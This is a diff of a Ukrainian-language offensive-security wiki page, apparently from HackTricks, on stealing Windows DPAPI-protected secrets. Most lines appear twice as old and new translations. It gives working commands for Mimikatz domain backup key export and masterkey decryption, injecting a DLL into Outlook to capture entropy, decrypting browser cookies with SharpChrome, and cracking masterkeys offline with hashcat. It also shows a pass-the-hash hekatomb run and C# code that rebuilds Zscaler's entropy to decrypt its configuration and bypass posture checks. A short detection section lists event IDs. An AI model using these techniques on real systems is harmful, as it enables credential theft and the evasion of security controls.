- Паролі Internet Explorer та Google Chrome і дані автозаповнення
- Паролі електронної пошти та внутрішніх FTP-облікових записів для таких програм, як Outlook і Windows Mail
- Паролі для спільних папок, ресурсів, бездротових мереж і Windows Vault, включаючи ключі шифрування
- Паролі для підключень до віддаленого робочого столу, .NET Passport і приватні ключі для різних цілей шифрування та аутентифікації
- Мережеві паролі, керовані Credential Manager, та особисті дані в програмах, що використовують CryptProtectData, таких як Skype, MSN messenger тощо
@ -68,13 +68,13 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
- ...
Захищені дані системи включають:
- Паролі Wi-Fi
- Паролі Wifi
- Паролі запланованих завдань
- ...
### Варіанти витягування майстер-ключів
- Якщо користувач має привілеї адміністратора домену, він може отримати доступ до **доменного резервного ключа** для розшифрування всіх майстер-ключів користувачів у домені:
- Якщо користувач має привілеї адміністратора домену, він може отримати доступ до **доменного резервного ключа** для розшифровки всіх майстер-ключів користувачів у домені:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -149,7 +149,7 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
Зверніть увагу, що [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (з того ж репозиторію) може бути використаний для розшифрування за допомогою DPAPI чутливих даних, таких як куки.
Зверніть увагу, що [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (з того ж репозиторію) може бути використаний для розшифровки за допомогою DPAPI чутливих даних, таких як куки.
### Ключі доступу та дані
@ -172,9 +172,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
- **Отримання masterkeys**:
- **Отримати masterkeys**:
Розшифруйте masterkey користувача, запитуючи **ключ резервної копії домену** за допомогою RPC:
Розшифрувати masterkey користувача, запитуючи **ключ резервної копії домену** за допомогою RPC:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -242,9 +242,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Злом майстер-ключів офлайн (Hashcat & DPAPISnoop)
### Злом майстерключів офлайн (Hashcat & DPAPISnoop)
Microsoft представила формат майстер-ключа **context 3** починаючи з Windows 10 v1607 (2016). `hashcat` v6.2.6 (грудень 2023) додав хеш-режими **22100** (DPAPI майстер-ключ v1 контекст), **22101** (контекст 1) та **22102** (контекст 3), що дозволяє прискорене за допомогою GPU зламування паролів користувачів безпосередньо з файлу майстер-ключа. Таким чином, зловмисники можуть виконувати атаки зі списком слів або брутфорс-атаки без взаємодії з цільовою системою.
Microsoft представила формат майстерключа **context 3** починаючи з Windows 10 v1607 (2016). `hashcat` v6.2.6 (грудень 2023) додав хеш-режими **22100** (DPAPI masterkey v1 context), **22101** (context 1) та **22102** (context 3), що дозволяє прискорений злом паролів користувачів безпосередньо з файлу майстерключа за допомогою GPU. Таким чином, зловмисники можуть виконувати атаки зі словниковими списками або брутфорс-атаки без взаємодії з цільовою системою.
`DPAPISnoop` (2024) автоматизує процес:
```bash
@ -252,7 +252,7 @@ Microsoft представила формат майстер-ключа **contex
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Інструмент також може аналізувати Credential та Vault блоби, розшифровувати їх за допомогою зламаних ключів та експортувати паролі у відкритому вигляді.
Інструмент також може аналізувати бінарні дані Credential і Vault, розшифровувати їх за допомогою зламаних ключів і експортувати паролі у відкритому вигляді.
### Доступ до даних інших машин
@ -269,7 +269,7 @@ SharpChrome cookies /server:HOST /pvk:BASE64
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
З витягнутим зі списку LDAP комп'ютерів ви можете знайти кожну підмережу, навіть якщо ви їх не знали!
З витягнутим списком комп'ютерів з LDAP ви можете знайти кожну підмережу, навіть якщо ви їх не знали!
### DonPAPI 2.x (2024-05)
@ -282,12 +282,12 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) - це парсер C# для файлів майстер-ключів/облікових даних/сховищ, який може виводити формати Hashcat/JtR і за бажанням автоматично викликати злом. Він повністю підтримує формати майстер-ключів для машин і користувачів до Windows 11 24H1.
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) - це C# парсер для файлів майстер-ключів/облікових даних/сховищ, який може виводити формати Hashcat/JtR і за бажанням автоматично викликати злом. Він повністю підтримує формати майстер-ключів для машин і користувачів до Windows 11 24H1.
## Загальні виявлення
- Доступ до файлів у `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` та інших каталогах, пов'язаних з DPAPI.
- Особливо з мережевої папки, такої як **C$** або **ADMIN$**.
- Особливо з мережевої спільної папки, такої як **C$** або **ADMIN$**.
- Використання **Mimikatz**, **SharpDPAPI** або подібних інструментів для доступу до пам'яті LSASS або вивантаження майстер-ключів.
- Подія **4662**: *Операція була виконана над об'єктом* може бути пов'язана з доступом до об'єкта **`BCKUPKEY`**.
- Подія **4673/4674**, коли процес запитує *SeTrustedCredManAccessPrivilege* (Credential Manager)
@ -295,10 +295,46 @@ SharpChrome cookies /server:HOST /pvk:BASE64
---
### Уразливості 2023-2025 та зміни в екосистемі
* **CVE-2023-36004 Спуфінг захищеного каналу Windows DPAPI** (листопад 2023). Зловмисник з доступом до мережі міг обманути учасника домену, щоб той отримав шкідливий резервний ключ DPAPI, що дозволяє розшифрувати майстер-ключі користувачів. Виправлено в накопичувальному оновленні листопада 2023 року адміністраторам слід переконатися, що контролери домену та робочі станції повністю оновлені.
* **Шифрування куків Chrome 127 “App-Bound”** (липень 2024) замінило застарілу захист лише DPAPI додатковим ключем, збереженим у **Credential Manager** користувача. Офлайн-розшифрування куків тепер вимагає як майстер-ключ DPAPI, так і **GCM-обгорнутий ключ, прив'язаний до програми**. SharpChrome v2.3 та DonPAPI 2.x можуть відновити додатковий ключ, працюючи в контексті користувача.
* **CVE-2023-36004 Спуфінг захищеного каналу Windows DPAPI** (листопад 2023). Зловмисник з доступом до мережі міг обманути учасника домену, щоб той отримав шкідливий резервний ключ DPAPI, що дозволяло розшифровувати майстер-ключі користувачів. Виправлено в листопаді 2023 року в кумулятивному оновленні адміністраторам слід переконатися, що контролери домену та робочі станції повністю оновлені.
* **Шифрування куків Chrome 127 “App-Bound”** (липень 2024) замінило застарілу лише DPAPI захист з додатковим ключем, збереженим у **Credential Manager** користувача. Офлайн-розшифрування куків тепер вимагає як майстер-ключ DPAPI, так і **GCM-обгорнутий ключ, прив'язаний до програми**. SharpChrome v2.3 та DonPAPI 2.x можуть відновити додатковий ключ, працюючи в контексті користувача.
## Посилання
### Кейс: Zscaler Client Connector Користувацька ентропія, отримана з SID
Zscaler Client Connector зберігає кілька конфігураційних файлів у `C:\ProgramData\Zscaler` (наприклад, `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Кожен файл зашифрований за допомогою **DPAPI (машинний обсяг)**, але постачальник надає **кастомну ентропію**, яка *обчислюється під час виконання*, а не зберігається на диску.
Ентропія відновлюється з двох елементів:
1. Жорстко закодований секрет, вбудований у `ZSACredentialProvider.dll`.
2. **SID** облікового запису Windows, до якого належить конфігурація.
Алгоритм, реалізований DLL, еквівалентний:
```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);
// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
Оскільки секрет вбудований у DLL, яку можна прочитати з диска, **будь-який локальний атакуючий з правами SYSTEM може відновити ентропію для будь-якого SID** і розшифрувати блоби в офлайн-режимі:
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
Розшифрування дає повну JSON конфігурацію, включаючи кожну **перевірку стану пристрою** та її очікуване значення інформацію, яка є дуже цінною при спробах обійти клієнтську сторону.
> ПОРАДА: інші зашифровані артефакти (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) захищені за допомогою DPAPI **без** ентропії (`16` нульових байтів). Тому їх можна розшифрувати безпосередньо за допомогою `ProtectedData.Unprotect`, як тільки отримані привілеї SYSTEM.
## References
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)